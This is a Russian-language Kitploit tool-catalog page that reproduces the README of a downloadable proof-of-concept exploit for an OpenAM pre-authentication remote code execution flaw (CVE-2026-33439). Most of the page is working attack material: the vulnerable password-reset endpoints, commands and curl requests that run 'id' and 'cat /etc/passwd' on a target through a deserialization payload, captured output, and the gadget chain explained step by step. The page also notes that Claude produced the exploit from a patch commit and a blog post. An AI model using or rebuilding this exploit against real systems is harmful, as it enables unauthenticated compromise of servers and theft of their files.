Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33439-PoC — Эксплойт для OpenAM pre-auth RCE (CVE-2026-33439) с использованием цепочки гаджетов Java-десериализации для выполнения команд и возврата вывода непосредственно в HTTP-ответе. | Kitploit
Инструменты/GitHubGitHub/ibonok/cve-2026-33439-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

Эксплойт для OpenAM pre-auth RCE (CVE-2026-33439) с использованием цепочки гаджетов Java-десериализации для выполнения команд и возврата вывода непосредственно в HTTP-ответе.

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33439 — OpenAM Pre-Auth RCE (Echo Mode)

Вывод команды напрямую в HTTP-ответе — не требуется DNS-эксфильтрация или OOB.

Использует com.iplanet.jato.RequestManager.getRequestContext() для доступа к активному JATO ThreadLocal запросу/ответу во время десериализации. Работает на Java 21+, где классические техники эха Tomcat (Thread.target / ThreadGroup.threads traversal) не работают.

Предварительные требования

  • JDK 11+ (требуется javac для компиляции транcлета во время выполнения)
  • Целевой OpenAM с click-nodeps-2.3.0.jar и xalan-2.7.x.jar в classpath

Подтверждённые уязвимые конечные точки

Конечная точкаВывод эха
/sso/ui/PWResetUserValidationHTTP 200, вывод команды в теле ответа
/sso/ui/PWResetQuestionHTTP 200, вывод команды в теле ответа
/sso/ui/PWResetSuccessHTTP 200, вывод команды в теле ответа

Также протестировано, но без вывода эха (десериализация всё равно срабатывает):

  • /sso/ui/PWResetInvalidURL — возвращается страница ошибки
  • /sso/ui/PWResetUncaughtException — возвращается страница ошибки

Сборка

root@kitploit:~
./build.sh

Использование

JAR автоматически добавляет JVM-флаги --add-opens — указывать их вручную не нужно.

root@kitploit:~
# Всё в одном: генерация payload + отправка + вывод результата (прокси через Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Без прокси Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# Генерация переиспользуемого payload (команда берётся из заголовка 'cmd' во время запроса)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

Подтверждённые результаты (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

Как это работает

  1. Генерирует payload десериализации PriorityQueue (цепочка гаджетов Click1 + Xalan TemplatesImpl)
  2. Байткод транcлета вызывает RequestManager.getRequestContext() для получения активного JATO запроса/ответа
  3. Читает HTTP-заголовок cmd, выполняет sh -c <cmd>, записывает stdout+stderr в response.getOutputStream()
  4. Payload кодируется в Base64 в формате OpenAM (префикс \x00 + URL-safe Base64, без дополнения)
  5. Отправляется на /sso/ui/PWResetUserValidation?jato.clientSession=<payload> (без аутентификации)

Структура каталога

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # Эксплойт JAR
  build.sh                   # Скрипт сборки
  MANIFEST.MF                # Манифест JAR
  README.md                  # Этот файл
  lib/                       # Зависимости (должны находиться рядом с JAR)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # Исходный код

Исправление

Исправлено в коммите OpenAM 014007c63cacc834cc795a89fac0e611aebc4a32 — добавлен фильтр классов в ObjectInputStream в SessionEncodeURL.readSessionID().

Разное:

PoC создан с помощью Claude; промптом послужили статья (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) и Git-коммит (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)

Скачать инструмент